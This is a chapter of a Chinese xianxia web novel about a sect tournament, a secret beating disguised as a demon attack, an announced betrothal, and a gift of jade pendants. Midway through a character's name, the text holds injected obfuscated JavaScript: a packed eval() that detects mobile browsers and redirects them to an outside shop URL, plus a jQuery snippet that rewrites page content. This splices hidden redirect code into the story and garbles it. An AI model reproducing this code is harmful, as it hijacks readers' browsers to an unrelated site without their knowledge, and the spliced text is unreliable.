温棠笑笑,说:“不是动手,是成亲。”
云夙辞直截了当问:“什么时候?”
方才温棠有意无意提及顾家时,她心底便已然暗自盘算好了后续布局。她清楚温棠此刻不过是等着一个确切的时机。
“明日大会结束之后,会宣布我与顾家的婚约。不出意外,合籍大典会在大会中段休赛期间举行。”
翌日清晨,清晏台。
天刚蒙蒙亮,雾气还没散干净,已经乌泱泱站满了人。
各色流光的法衣在晨光里晃得人眼花,窃窃私语声汇成一片嘈杂的潮水,漫过整座山巅。
云夙辞来的时间不算早也不算晚,打了个哈欠,眼角都挤出点生理性的泪花。
昨晚熬得狠了,眼下还泛着点青。
比试赛程排布得满满当当,秩序井然。各门弟子的参赛项目、场次顺序、对阵名单,皆被宗门执事妥善安排、公示妥当,只待时辰一到,便依次开赛,切磋论道。
云夙辞懒得凑上前看热闹,独自寻了处角落斜倚着,百无聊赖地反复抠磨着掌心的参赛玉牌,清晰镌刻着她的名字与参赛编号,是仙门大会统一发放的信物。
“听说了吗?云渺宗昨夜出事了!听说有魔物出现!”
“真的假的?云渺宗那么多高手,怎么会让魔物闯进去?”
“骗你作甚!消息绝对属实,凌霄剑宗的玄清子昨夜重伤卧床,今日的仙门大会直接缺席,连面都没露!”
“我的天!他可是实打实的化神期大能,修为深不可测,寻常魔物连他的结界都破不开,到底是什么魔物能将他重伤至此?”
“难不成是……传说中的魔族余孽卷土重来了?”
“嘘!噤声!这种大忌讳可万万不能乱说,当心祸从口出!”
……
议论声传到云夙辞耳朵里,抠玉牌的手指顿了顿,嘴角勾起一抹几不可察的弧度,快得像错觉。
没人知道,昨夜那所谓的“魔物”,正是她。
昨夜送走温棠几人,她便前去找那厮。
彼时玄清子正盘腿坐在蒲团上打坐,周身萦绕着浓郁灵气,一副高深莫测的模样。她没废话,挥拳上前,拳头招呼得干脆利落。
她本就没打算下死手,不过是想教训一顿,出口恶气。没想到这狗东西看着修为高深,竟这般不抗揍,两三下就被揍得重伤倒地,口吐鲜血。
临走前,她还特地伪造出魔物入侵的痕迹,做得干干净净,不留半点破绽。
议论声还在继续,有人猜是魔族余孽作祟,有人猜是玄清子修炼走火入魔,还有人暗戳戳揣测,是不是凌霄剑宗内部出了矛盾,自导自演了这一出。
云夙辞没再听下去,目光越过攒动的人群,落在了清晏台前排。
温棠就站在温家弟子最前方,一改往日温婉疏离的模样,素净青衣绣着玉兰花,衬得身姿愈发窈窕。
唇角噙着笑,褪去了往日应付人到底疏离与客套,反倒带着几分真切的羞赧,抬手时,指尖轻轻拢了拢鬓边的碎发,动作轻柔。
温棠身旁,站着一个身着紫衣的男子,上面用金线绣着芙蓉莲纹样,衬得人雍容华贵,气度不凡。
顾家这一辈的少主,顾青奕。
顾青奕眉眼温和,鼻梁高挺,嘴角噙着恰到好处的笑意,站姿挺拔,与温棠并肩站在一起,郎才女貌,看起来格外般配。
两人偶尔低语两句,温棠会微微垂首,顾青奕则侧耳倾听,姿态谦逊,众人看了只会觉得是一对情投意合的璧人。
“温家和顾家是不是要联姻了?”
“你看那两人的样子,八九不离十。”
“温棠和顾青奕?倒是门当户对,郎才女貌。这两人凑一块,强强联合啊。”
云夙辞嘴角往下撇了撇。
般配个屁。
这傻子怕是还不知道,他那位未婚妻的刀,已经悬在他脖子上了。
步凌玥特意选了一处紧邻沈家弟子的位置驻足观望,看着前方璧人相依的画面,故作感慨地啧啧轻叹,演的跟真的一样。
依她看,顾青奕大限将至,用不了多久,便会折在温棠手中。
细细打量下来,这人实在算不得何等惊艳出众,寻常平庸,并无半分特别之处,怎就是这本书的男主,还是个反派男主。
四下人流涌动,喧嚣满溢,唯独不见沈见屿的身影,不知躲去了哪个犄角旮旯偷懒摸鱼。
萧离叙立在凌霄剑宗弟子行列之前,双臂环胸,雪白衣袂被风掀动一角,腰间束着墨色腰带。长发高束,唯有几缕碎发轻垂额前,衬得眉眼清冽锋锐。
腮帮子微微鼓起,眉宇间藏着几分郁色,明显心绪不佳,满脸皆是不耐与不悦。
台上那道身影,广袖迎风,衣袂翩跹,掺了金粉织就的暗锦,日光一照,便如流淌着的银河。
云渺宗宗主云倾澜,正立在清晏台最高处,那双极淡的凤眸掠过台下黑压压的人群。
那种睨视众生的矜贵,是从骨子里渗出来的,不需要刻意释放威压,就让人本能地想垂下头颅,甚至膝头发软。
“仙门大会,如期开启。”
“本次大会,旨在切磋技艺,选拔英才。”
“比试规则,依旧沿用旧例。严禁使用阴邪术法,严禁伤及性命,违者,逐出大会,废除修为。”
话音落下,台下一片寂静,没有人敢出声反驳。
云夙辞:“?”
怎么一字不落,跟她从前说的一毛一样?
没礼貌的后辈,偷她的话!
清晏台各处亮起微光,随即光芒冲天而起,在空中交织缠绕,凝聚成数多个巨大的传送阵,符文流转,灵气翻涌。
台下很快活了过来,嘈杂声再起,弟子们按着编号,纷纷涌向各自的比赛地点。
云夙辞是剑修,成洛与夏令微满心都是担忧。
夏令微轻声叮嘱:“小师妹,若是打不过便趁早认输,万万别死撑着逞强。”
她一怔,随即无言,默默闭了嘴。
她们差点忘了,论起逃命脱身的本事,小师妹素来跑得比谁都快,真到不敌之时,哪里还用得着他们这般瞎操心。
“行。”云夙辞乖乖点头应下,“我记住了。”
林柯三人已经等在不远处,正低声说着什么。
“那我走了。”云夙辞丢下这句话,抬脚就往那边走。
走出两步,身后又飘来夏令微的叮嘱:“小师妹!万一受伤了记得我给你的丹药!”
云夙辞头也没回,只抬手摆了摆。
林柯见她过来,主动让出位置,四人并肩走。
云夙辞肩头忽然被人从后头轻轻一拍,下意识回头,差点撞上萧离叙那张近在咫尺的脸。
呼吸一滞。
这人怎么跟块膏药似的,甩都甩不掉。
“你靠这么近干嘛?”云夙辞往后仰了半步,皱眉。
她真该找个单独的时机和他把话说清楚。
萧离叙:“想你了。”
“这才多久没见?”云夙辞抬手把他那张笑得欠揍的脸往旁边推了推,“半天都不到。”
萧离叙被她推得脑袋歪了歪,像是没听见她的嫌弃,面色如常地从袖子里摸出一个储物袋,不由分说塞进她手里。
“拿着。”
云夙辞低头看了看手里多出来的东西,又抬头看他:“什么东西?”
“防身的。”萧离叙说,“灵符、丹药、阵盘,还有护身灵器。你修为低,万一碰上硬茬子,打不过就跑,跑不过就扔这些。”
云夙辞没动,她不想欠萧离叙人情。
沈见屿从哪个犄角旮旯钻了出来,挤眉弄眼道:“云道友拿着吧!里头也有我给的,还有步凌玥她们给的,甭客气!”
云夙辞眯眼看他,沈见屿被她看得心里发毛:“保真的!”
其实全是萧离叙私下给了他灵石,授意他这么说。
“行吧。”云夙辞看破不说破,稍一沉吟,把储物袋收进袖中,“谢了。”
她暗自思忖,待会儿总得琢磨清楚该归还萧离叙的物件,索性两清,不愿再欠下分毫人情。
萧离叙飞快地扭回头,眼睛亮得跟点了灯似的,嘴角压都压不下去。
沈见屿在背后偷偷比了个“搞定”的手势。
突然出现的两人吓到林柯三人,看清后表情又恢复正常。
原来是他们啊,那没事了。
这可是大金腿!
首日正式比试赛程轻松缓,没多时便结束。
经过云夙辞全程的不懈努力,摸鱼划水,终于在首日赛事里惨遭淘汰。
原本其他人见到她还想安慰,结果对方根本不在意,甚至是捂着肚子对夏令微说:“我饿了。”
众人你看看我,我看看你,一时竟不知道该接什么话。
成洛默默扶额,憋出一句:“师妹心态真好。”
就在众人闲谈之际,清晏台上气氛陡然一变,钟鸣声响彻山巅,悠远绵长。
原本还三三两两聚在一处说笑的弟子们瞬间噤声,衣袂翻飞间齐刷刷抬头,目光一同钉在了高台中央。
云倾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552043|201930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
澜立在原处,广袖被风高高扬起,身姿孤高清绝,那双极淡的凤眸轻轻一扫:“今岁仙门大会,百家齐聚,同道云集,有一喜事,当与诸位共贺。”
“温家温棠,顾家少主顾青奕,二人情投意合,两姓之好,天作之合。”云倾澜唇角牵起一点弧度。
“今日,本座便在此替两家宣布。二人正式定下婚期,合籍大典择定大会中场休赛之日,届时当众礼成,缔结两姓盟约。”
“哗——”台下众人震惊。
“这么急?”
“大会中途就成婚?这也太快了吧!”
“是啊!温家和顾家这是唱哪出?往年不都讲究个流程礼数,挑个吉日慢慢来吗?”
“谁说不是呢!这简直像是……赶着投胎似的!”
“今年怎么做什么事都这么急?”
“就是啊,哪有在仙门大会上临时宣布的?这里面会不会有什么猫腻?”
高台之上,一股无形的威压,所到之处,议论声都下意识低了几分。
有人撇了撇嘴,偷偷跟身边人嘀咕:“我看是另有图谋还差不多,哪有这么赶的道理。”
“嘘!小声点!”同伴连忙拉了拉他的胳膊。
此事转瞬便被众人刻意压下,风波悄然平息,可不少人心底仍隐隐觉着此事处处透着蹊跷。
温棠从容与几位世家长辈简单寒暄交谈几句,礼数周全,随后便告退离去。
云夙辞一行人也随着往来人流,缓缓离开赛场,返回居所歇息休整。
景明盘算着去找云夙辞,想托对方帮忙求一份萧离叙亲笔签名。
毕竟萧离叙平日里素来冷淡,除却同云夙辞说上几句话,余下闲时多半偷偷骂沈见屿两句,旁人轻易搭不上半句。自己贸然前去讨要,实在有些尴尬。
转念一想,小师妹好像不太愿意同他接近,又不好劳烦自家师妹,念头生生压了下去,眉宇间尽数是左右为难的犹豫。
他的神情中数落恰好被一旁的云夙辞尽收眼底,一眼便瞧透了他心中所想。
萧离叙像条黏人的小尾巴,亦步亦趋跟着云夙辞回了住处。推开院门,云夙辞侧过头问:“要进来坐坐吗?”
一瞬之间,萧离叙肉眼可见的开心,云夙辞回头看了他一眼,见他没反应,也不催,径自往里走。
萧离叙这才回过神来“蹭”地三步并作两步跟上去。
屋内窗明几净,陈设简单雅致。云夙辞摸出一套崭新的笔墨纸砚,啪地搁在桌上。
萧离叙呆呆问:“是送我的?”
云夙辞正准备倒茶的手一顿,差点把壶给扔了。
她转过头,上下打量了萧离叙一眼,那眼神像是在看一个没救的傻子。
“你想多了。”云夙辞慢悠悠地把茶杯放下,她还没穷到还礼还这点,“是签名。”
他愣了两秒,才后知后觉地反应过来,声音低了下去,带着点难以置信的失落:“你邀请我进来……就是为了要我签名?”
云夙辞:“不然呢?怎么,萧道友不肯赏脸?”
“肯!当然肯!”
三个字,龙飞凤舞,力透纸背。
云夙辞绕到他身侧,俯身把纸抽走,随手晾在案边,扭头看他这副傻样,眼底的冷淡褪去几分,忽地弯了眼,语气比刚才柔和了些许:“伸手。”
萧离叙几乎是条件反射,想都没想就乖乖伸出手,掌心向上。
下一瞬,微凉的触感落在他手心。
一对玉佩各用红绳系着,安静地躺在他掌心里。玉质极好,通体莹白,刻画栩栩如生,灵气萦绕,一看便知是世间罕有的至宝,绝非凡俗之物。
萧离叙的指尖蹭到云夙辞的指尖,温热的触感传来,他浑身一僵,掌心的玉佩仿佛都变得滚烫起来。
云夙辞收回手,学着他方才送储物袋时的话:“防身的。”
又补充了一句:“之后有用,留着带身上吧。”
转身走到桌边,拿起茶杯,轻轻抿了一口,假装不在意,眼角的余光却悄悄落在萧离叙身上,观察着他的反应。
她原没打算此刻就取出这双鱼玉佩,眼见萧离叙这样深陷,心底终究打定主意,趁早斩断这份牵绊。
萧离叙盯着掌心的双鱼玉佩:“两……两块都给我?”
云夙辞:“嗯,你拿着。”
她留着没用了,倒是送给萧离叙,能发挥最大的用处,护他往后岁岁平安。
萧离叙就那么低着头,盯着掌心里那两块玉佩。
红绳缠着白玉,缠得很紧,像是怕它们分开似的。